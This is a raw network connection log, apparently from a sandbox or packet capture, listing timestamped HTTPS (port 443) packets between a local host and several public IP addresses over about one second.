Nov 18, 2024 00:27:47.785417080 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.793737888 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.793795109 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.793803930 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.808537006 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.808593035 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.808666945 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.809452057 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.809468985 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.834206104 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.834355116 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.834410906 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.834582090 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.834594965 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.834604979 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.834609985 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.837964058 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.838001966 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.838130951 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.838393927 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.838411093 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.853224039 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.853247881 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.880721092 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.881378889 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.881393909 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.882004023 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.882009983 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.886982918 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.887001991 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.887145996 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.887373924 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.887378931 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.892880917 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.892954111 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.892965078 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.895534992 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.895971060 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.895991087 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.896058083 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.896209002 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.896217108 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.896612883 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.896616936 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.904913902 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.904953957 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.904961109 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.904968977 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.905091047 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.905098915 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.908168077 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.908648014 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.908663988 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.909154892 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.909159899 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.913311005 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.913372040 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.913381100 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.947537899 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.947772980 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.947782993 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.949196100 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.949249029 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.950541019 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.950630903 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.950789928 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:47.950797081 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.965874910 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.965925932 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.965944052 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.992389917 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:47.992430925 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:47.992499113 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:47.993135929 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:47.993149996 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.012393951 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.012473106 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.012485981 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.012974024 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.013032913 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.013175011 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.013385057 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.013385057 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.013401985 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.013411999 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.016480923 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.016500950 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.016560078 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.016735077 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.016746998 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.023978949 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.024025917 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.024060965 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.024071932 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.024111032 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.024153948 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.032713890 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.032778025 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.032785892 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.042737961 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.042788029 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.042924881 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.043349981 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.043359041 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.043447018 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.043452978 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.045111895 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.048903942 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.048928976 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.049014091 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.049546003 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.049561024 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.083467007 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.083554983 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.083621025 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.083842993 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.083852053 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.085374117 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.085465908 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.085477114 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.086663008 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.086743116 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.086786032 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.088340998 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.088354111 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.088363886 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.088370085 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.103729963 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.103755951 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.103890896 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.104310036 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.104326010 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.131511927 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.131587029 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.131599903 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.134804964 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.134860039 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.134862900 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.134875059 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.134927988 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.143376112 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.147295952 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.147330046 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.147403955 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.147583008 CET	49935	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.147594929 CET	443	49935	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.152100086 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.152160883 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.152245998 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.152256966 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.152301073 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.152452946 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.205401897 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.205459118 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.205461025 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.205481052 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.205528021 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.205535889 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.216665983 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.237129927 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.237169027 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.237788916 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.237801075 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.254179001 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.254230022 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.254652977 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.254686117 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.254734993 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.263036013 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.271615982 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.271661997 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.271703959 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.271732092 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.271742105 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.271754026 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.324575901 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.324688911 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.324765921 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.324791908 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.324839115 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.366406918 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.366436958 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.366486073 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.366559029 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.366616964 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.369985104 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.373625994 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.373687029 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.373725891 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.373760939 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.373800039 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.373855114 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.382370949 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.383469105 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.383481026 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.391046047 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.391237974 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.391297102 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.391308069 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.391323090 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.391370058 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.429086924 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.438102961 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.439390898 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.444044113 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.489511013 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.489552021 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.489629984 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.489658117 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.489700079 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.493068933 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.495037079 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.501890898 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.501936913 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.501945972 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.501960993 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.503207922 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.510916948 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.510978937 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.511008024 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.511044979 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.511066914 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.511106968 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.546267986 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.546267986 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.563688040 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.563743114 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.563853979 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.563919067 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.571186066 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.609091043 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.609127998 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.609194040 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.609220982 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.610845089 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.610923052 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.610935926 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.611591101 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.612442017 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.612499952 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.612508059 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.612539053 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.612590075 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.612596035 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.613091946 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.613194942 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.624599934 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.687925100 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.687925100 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.687958002 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.687973022 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.691824913 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.691850901 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.692393064 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.692400932 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.693120003 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.693135977 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.693154097 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:48.693178892 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:48.693188906 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.693556070 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.693572044 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.693746090 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.693892956 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.693900108 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.694565058 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.694576979 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.695048094 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.695066929 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.695611000 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.695631027 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.695671082 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.696203947 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.696216106 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.696259975 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.697571039 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.697657108 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.698620081 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.698657990 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.698688984 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.701934099 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.701944113 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.703525066 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.703655958 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.703664064 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.703775883 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.705545902 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.705657959 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.705713034 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.705902100 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.706216097 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.706226110 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.706368923 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.706382036 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.706773043 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.706777096 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.706926107 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.706934929 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.708580971 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.708612919 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.710315943 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.710330009 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.745189905 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.765292883 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.787727118 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.787744045 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.788234949 CET	49932	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.788243055 CET	443	49932	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.793459892 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.794967890 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.795001984 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.795519114 CET	49933	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.795528889 CET	443	49933	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.801017046 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.801070929 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.801142931 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.801284075 CET	49936	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.801296949 CET	443	49936	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.835728884 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.835805893 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.835911989 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.836370945 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.836460114 CET	49930	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.836477041 CET	443	49930	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.837876081 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.837897062 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.838037014 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.838114023 CET	443	49929	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.838186026 CET	49929	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.842159033 CET	49934	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:48.842175007 CET	443	49934	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:48.842617989 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.842693090 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.843489885 CET	49928	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:48.843496084 CET	443	49928	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:48.844971895 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.845487118 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.845571995 CET	443	49931	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:48.845669985 CET	49931	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:48.845807076 CET	49931	443	192.168.2.6	162.159.61.3
